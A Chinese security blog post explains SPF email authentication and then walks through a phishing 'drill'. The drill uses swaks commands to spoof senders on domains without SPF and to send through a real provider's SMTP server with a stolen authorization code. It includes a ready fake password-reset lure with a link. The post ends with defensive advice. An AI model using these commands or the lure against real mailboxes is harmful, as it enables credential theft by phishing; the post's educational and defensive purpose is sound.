你还敢随便点陌生邮件链接吗,浅谈黑客是如何利用SPF机制进行邮件钓鱼的
你还敢随便点陌生邮件链接吗,浅谈黑客是如何利用SPF机制进行邮件钓鱼的
SPF介绍
spf是一种用于防止电子邮件伪造得技术,旨在确保只有授权的发送者才能适用特定的域名发送电子邮件,它也是邮件系统的一种安全机制,它的内容被写入DNS的TXT类型记录中。通过SPF记录,域名所有者可以指定哪些IP地址或服务器被授权代表该域名发送电子邮件。
- 防止伪造邮件地址:SPF通过验证发件人的IP地址是否被包含在SPF记录中,来防止他人伪造你的邮件地址发送垃圾邮件或进行网络钓鱼攻击。
- 提升邮件可信度:对于通过了SPF验证的邮件,接收邮件的服务器会将其视为更可信的邮件,从而提高邮件的送达率和打开率。
- 减少垃圾邮件:通过SPF验证,可以有效地过滤掉大量伪造邮件地址的垃圾邮件,减轻邮件服务器的负担。
判断是否使用了spf
Windows:
- 输入
nslookup -type=txt 域名
命令,其中“域名”是你想要查询SPF记录的域名。例如,如果你的邮件地址是example@test.com
,那么你应该查询的域名就是test.com
。 - 执行命令后,命令提示符会返回该域名的TXT记录,其中就包含了SPF记录(如果有的话)。SPF记录通常以
v=spf1
开头。
Linux:dig -t txt 域名
在线spf检查,工具示例
https://powerdmarc.com/zh/spf-record-lookup/
机制(Mechanisms)
可以看到之前的图片的v=xxxx include:xxx
,这些都是SPF记录通过一系列机制来指定哪些邮件服务器或IP地址被授权发送邮件的机制。以下是一些常用的机制:
- include
- 用途:允许一个SPF记录包含(引用)另一个域名的SPF记录。
- 示例:
include:spf.example.com
- a
- 用途:根据域名的A记录(IPv4地址)来验证发件人IP地址。
- 示例:
a
或a:example.com
- mx
- 用途:根据域名的MX记录来验证发件人IP地址。MX记录通常指向接收邮件的服务器。
- 示例:
mx
或mx:example.com
- ip4 和ip6
- 用途:直接指定IPv4或IPv6地址段,用于验证发件人IP地址。
- 示例:
ip4:192.0.2.0/24
或ip6:2001:db8::/32
- ptr
- 用途:较少使用,因为它依赖于反向DNS查找,这可能不够可靠。
- exist
- 用途:验证指定的域名是否存在。这通常与其他机制结合使用。
修饰符(Modifiers)
SPF记录还可以包含修饰符,用于改变SPF检查的结果处理方式:
- +(pass):表示SPF检查通过。
- -(fail):表示SPF检查失败。
- ~(softfail):表示“软失败”,即SPF检查没有明确通过,但也没有完全失败。
- ?(neutral):表示SPF记录对该IP地址没有明确的允许或拒绝立场。
终止符(all)
- 用途:
all
机制用于终止SPF记录,并指定默认的处理方式。 - 示例:
-all
表示如果前面的机制都没有匹配,则视为SPF检查失败;~all
表示软失败;?all
表示中立。
示例:
v=spf1 mx a:mail.example.com ip4:192.0.2.1/32 include:spf.anotherservice.com ~all
SPF记录指定了多种机制和修饰符,包括使用MX记录、指定A记录、直接指定IPv4地址段、包含另一个域名的SPF记录,并以软失败作为默认处理方式。
邮件钓鱼演练
无SPF攻击利用方式
这里推荐一个没有spf的邮箱网站便于演练
nslookup -type=txt iubridge.com
,对邮件系统的站点此时也没有
使用nslookup -type=txt linshi-email.com
对站点进行检测,也没有spf验证
使用kali的swaks进行伪造发送邮件 ,由于该临时邮箱没有使用spf,所以可以直接使用该邮箱发送邮件
命令举例:
swaks --to 10xxxxxxx9@qq.com(需要钓鱼的邮箱) --from wangdun@iubridge.com(临时邮件) --ehlo qq.com --body '由于系统故障,导致密 码丢失,请 点击如下链接登录平台修改密码。https://xiaoyus.cc' --header "Subject: 系统故障"
其中
--to //收件人邮箱地址
--from test@qq.com //发件人邮箱;
--ehlo qq.com //伪造邮件ehlo头,即是发件人邮箱的域名。提供身份认证,比如目标是qq邮箱,那么就是qq.com,目标是163那么就是163.com
--body "http://www.baidu.com" //引号中的内容即为邮件正文;
--header "Subject:hello" //邮件头信息,subject为邮件标题
--data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送
发送成功
qq邮箱会提醒这个身份不安全(也可以绕过),此时你点击了这个链接,你就危险了
163网易邮箱大师没有安全提示,各个厂商算法不同吧
Tips:添加附件
--attach XX.docx
有SPF(绕过)
案例,使用xxx2333@qq.com (临时qq邮箱)向对目标xxxxxx9999@163.com进行钓鱼
swaks --to xxxxxx9999@163.com --from xxx2333@qq.com --ehlo qq.com --body '由于系统故障,导致密 码丢失,请点击如下链接登录平台修改密码。https://xiaoyus.cc' --header "Subject: 系统故障"
--au : 使用这个参数指定你发送邮件的用户名(一般就是发送者的邮箱账号)
--ap : 你的授权码
此时你就需要把你的钓鱼邮箱开启POP3/SMTP服务,如下图
注意开启这些服务之后会出现一个授权码,用到-ap
参数,此时就可以进行发送了进行测试,payload如下:
swaks -from xxxxxxx@163.com --body 'this is a hacker email!' --to xxxxxx@qq.com --server smtp.163.com -p 25 -ap 你的密码/授权码 -au yxy350488@163.com
发送成功,查看该邮件
可见如果你泄露了自己的SMTP授权码,那么黑客就可以用这个授权码模拟你的qq/163/腾讯邮箱,这些有spf的官方邮箱对你进行邮件钓鱼,如果你点了这个链接,那么你就危险了
下面是常见的邮件服务器
发信邮箱 | 服务器地址 |
---|---|
qq / foxmail | smtp.qq.com:465 |
网易 | POP3服务器: pop.126.com SMTP服务器: smtp.126.com:465 IMAP服务器: imap.126.com |
新浪 | pop.sina.com smtp.sina.com imap.sina.com |
电信189 | smtp.189.cn:465 |
电信21cn | smtp.21cn.com:465 |
企业应该如何防护?
除了使用SPF等技术来防止伪造邮件外,还可以采取以下措施来防御钓鱼邮件:
- 用户教育:教育员工识别钓鱼邮件的特征,如拼写错误、紧急请求、来自未知发件人的邮件等。
- 邮件网关安全:使用先进的邮件网关安全解决方案来过滤垃圾邮件和钓鱼邮件。
- 多因素身份验证:在关键账户上启用多因素身份验证,即使攻击者获得了用户的密码,他们仍然需要第二个验证因素才能访问账户。
- 安全软件:在终端设备上安装反病毒和反间谍软件,以防止恶意软件通过钓鱼邮件传播。
个人该如何防护?
个人网络安全防护需提升安全意识,采用强密码并定期更换,保持系统及软件更新,警惕电子邮件风险,利用VPN保护公共网络下的数据传输,确保移动设备安全,定期备份并加密重要数据,同时重视物理安全,锁好设备并锁屏以防未授权访问。
免责声明:
本文所提供的信息、技术示例、操作指导及任何相关内容均旨在教育和分享目的,并不构成专业法律、技术或安全建议。本教程仅供钓鱼演练,请误对真实邮箱进行钓鱼,所造成的任何后果和法律责任,自行承担,与作者无关
网安学习不迷路,人海茫茫来相见